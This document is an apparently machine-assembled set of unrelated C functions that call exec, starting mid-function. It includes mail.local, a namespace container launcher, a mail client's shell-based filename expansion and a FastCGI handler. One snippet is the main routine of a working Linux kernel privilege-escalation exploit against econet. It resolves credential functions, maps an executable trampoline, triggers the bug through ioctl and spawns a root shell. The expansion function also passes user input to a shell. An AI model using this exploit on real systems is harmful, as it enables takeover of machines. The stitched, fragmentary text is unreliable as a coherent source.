datagram on the TUN interface */ if(emitterN == 0) { if(!loss_occurs(emitterN,0,lossRate)) { ret = write(tun_fd, buffer_shadow, nRead+4); check(ret != -1,"write() error"); } } } } } } return 0; }
int main(int argc, char *argv[]) { struct passwd *pw; int ch, fd, eval, lockfile=1, holdme=0; uid_t uid; char *from; openlog("mail.local", LOG_PERROR, LOG_MAIL); from = NULL; while ((ch = getopt(argc, argv, "lLdf:r:H")) != -1) switch (ch) { case 'd': /* backward compatible */ break; case 'f': case 'r': /* backward compatible */ if (from) merr(FATAL, "multiple -f options"); from = optarg; break; case 'l': lockfile=1; break; case 'L': lockfile=0; break; case 'H': holdme=1; break; default: usage(); } argc -= optind; argv += optind; /* Support -H flag for backwards compat */ if (holdme) { execl(_PATH_LOCKSPOOL, "lockspool", (char *)NULL); merr(FATAL, "execl: lockspool: %s", strerror(errno)); } else { if (!*argv) usage(); if (geteuid() != 0) merr(FATAL, "may only be run by the superuser"); } /* * If from not specified, use the name from getlogin() if the * uid matches, otherwise, use the name from the password file * corresponding to the uid. */ uid = getuid(); if (!from && (!(from = getlogin()) || !(pw = getpwnam(from)) || pw->pw_uid != uid)) from = (pw = getpwuid(uid)) ? pw->pw_name : "???"; fd = storemail(from); for (eval = 0; *argv; ++argv) eval |= deliver(fd, *argv, lockfile); exit(eval); }
int main(int argc, char **argv) { char *gidmap = NULL, *inside = NULL, *outside = NULL, *uidmap = NULL; char *bind = NULL; int hostnet = 0, master, option, stdio = 0; pid_t child, parent; while ((option = getopt(argc, argv, "+:b:cg:i:no:u:")) > 0) switch (option) { case 'b': bind = optarg; break; case 'c': stdio++; break; case 'g': gidmap = optarg; break; case 'i': inside = optarg; break; case 'n': hostnet++; break; case 'o': outside = optarg; break; case 'u': uidmap = optarg; break; default: usage(argv[0]); } if (argc <= optind) usage(argv[0]); parent = getpid(); switch (child = fork()) { case -1: error(1, errno, "fork"); case 0: raise(SIGSTOP); // if (geteuid() != 0) // denysetgroups(parent); writemap(parent, GID, gidmap); writemap(parent, UID, uidmap); if (outside) { if (setgid(getgid()) < 0 || setuid(getuid()) < 0) error(1, 0, "Failed to drop privileges"); execlp(SHELL, SHELL, "-c", outside, NULL); error(1, errno, "exec %s", outside); } exit(EXIT_SUCCESS); } if (setgid(getgid()) < 0 || setuid(getuid()) < 0) error(1, 0, "Failed to drop privileges"); if (unshare(CLONE_NEWIPC | CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWUTS) < 0) error(1, 0, "Failed to unshare namespaces"); if (!hostnet && unshare(CLONE_NEWNET) < 0) error(1, 0, "Failed to unshare network namespace"); waitforstop(child); kill(child, SIGCONT); waitforexit(child); setgid(0); setgroups(0, NULL); setuid(0); master = stdio ? -1 : getconsole(); createroot(argv[optind], master, inside, bind); unshare(CLONE_NEWPID); switch (child = fork()) { case -1: error(1, errno, "fork"); case 0: mountproc(); if (!hostnet) mountsys(); enterroot(); if (master >= 0) { close(master); setconsole("/dev/console"); } clearenv(); putenv("container=contain"); if (argv[optind + 1]) execv(argv[optind + 1], argv + optind + 1); else execl(SHELL, SHELL, NULL); error(1, errno, "exec"); } return supervise(child, master); }
char * expand(char name[]) { static char xname[BUFSIZ]; char cmdbuf[BUFSIZ]; int pid, l; char *cp, *Shell; int s, pivec[2]; if (!anyof(name, "~{[*?$`'\"\\")) return (name); if (pipe(pivec) < 0) { perror("pipe"); return (name); } (void) snprintf(cmdbuf, sizeof (cmdbuf), "echo %s", name); if ((pid = vfork()) == 0) { userperm(); Shell = value(SHELL); if (Shell == NOSTR) Shell = "/bin/sh"; (void) close(pivec[0]); (void) close(1); (void) dup(pivec[1]); (void) close(pivec[1]); (void) close(2); (void) execl(Shell, Shell, "-c", cmdbuf, 0); _exit(1); } if (pid == -1) { perror("fork"); (void) close(pivec[0]); (void) close(pivec[1]); return (NOSTR); } (void) close(pivec[1]); l = read(pivec[0], xname, BUFSIZ); (void) close(pivec[0]); while (wait(&s) != pid) ; s &= 0377; if (s != 0 && s != SIGPIPE) { (void) fprintf(stderr, "\"Echo\" failed\n"); return (NOSTR); } if (l < 0) { perror("read"); return (NOSTR); } if (l == 0) { (void) fprintf(stderr, "\"%s\": No match\n", name); return (NOSTR); } if (l == BUFSIZ) { (void) fprintf(stderr, "Buffer overflow expanding \"%s\"\n", name); return (NOSTR); } xname[l] = 0; for (cp = &xname[l-1]; *cp == '\n' && cp > xname; cp--) ; *++cp = '\0'; return (xname); }
int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; /* Create file descriptors now so there are two references to them after cloning...otherwise the child will never return because it deadlocks when trying to unlock various mutexes after OOPSing */ pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open("/dev/zero", O_RDONLY); if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { printf("[*] Failed to open file descriptors.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } if(!(newstack = malloc(65536))) { printf("[*] Failed to allocate memory.\n"); return -1; } printf("[*] Calculating target...\n"); target = econet_ops + 10 * sizeof(void *) - OFFSET; /* Clear the higher bits */ landing = econet_ioctl << SHIFT >> SHIFT; payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { printf("[*] Failed to mmap() at target address.\n"); return -1; } memcpy((void *)landing, &trampoline, 1024); clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target); sleep(1); printf("[*] Triggering payload...\n"); ioctl(fildes[2], 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh","/bin/sh","-c","__PAYLOAD_PATH__",NULL); }
static void handle_fcgi_request(void) { int pipe_in[2]; int pipe_out[2]; int pipe_err[2]; char *filename; char *last_slash; char *p; pid_t pid; struct fcgi_context fc; if (pipe(pipe_in) < 0) goto err_pipein; if (pipe(pipe_out) < 0) goto err_pipeout; if (pipe(pipe_err) < 0) goto err_pipeerr; switch((pid = fork())) { case -1: goto err_fork; case 0: /* child */ close(pipe_in[1]); close(pipe_out[0]); close(pipe_err[0]); dup2(pipe_in[0], 0); dup2(pipe_out[1], 1); dup2(pipe_err[1], 2); close(pipe_in[0]); close(pipe_out[1]); close(pipe_err[1]); close(FCGI_fileno(FCGI_stdout)); signal(SIGCHLD, SIG_DFL); signal(SIGPIPE, SIG_DFL); filename = get_cgi_filename(); inherit_environment(); if (!filename) cgi_error("403 Forbidden", "Cannot get script name, are DOCUMENT_ROOT and SCRIPT_NAME (or SCRIPT_FILENAME) set and is the script executable?", NULL); if (!is_allowed_program(filename)) cgi_error("403 Forbidden", "The given script is not allowed to execute", filename); p = getenv("FCGI_CHDIR"); if (p == NULL) { last_slash = strrchr(filename, '/'); if (!last_slash) cgi_error("403 Forbidden", "Script name must be a fully qualified path", filename); *last_slash = 0; if (chdir(filename) < 0) cgi_error("403 Forbidden", "Cannot chdir to script directory", filename); *last_slash = '/'; } else if (strcmp(p, "-") != 0) { if (chdir(p) < 0) { cgi_error("403 Forbidden", "Cannot chdir to FCGI_CHDIR directory", p); } } execl(filename, filename, (void *)NULL); cgi_error("502 Bad Gateway", "Cannot execute script", filename); default: /* parent */ close(pipe_in[0]); close(pipe_out[1]); close(pipe_err[1]); fc.fd_stdin = pipe_in[1]; fc.fd_stdout = pipe_out[0]; fc.fd_stderr = pipe_err[0]; fc.reply_state = REPLY_STATE_INIT; fc.cgi_pid = pid; fcgi_pass(&fc); } return; err_fork: close(pipe_err[0]); close(pipe_err[1]); err_pipeerr: close(pipe_out[0]); close(pipe_out[1]); err_pipeout: close(pipe_in[0]); close(pipe_in[1]); err_pipein: FCGI_puts("Status: 502 Bad Gateway\nContent-type: text/plain\n"); FCGI_puts("System error"); }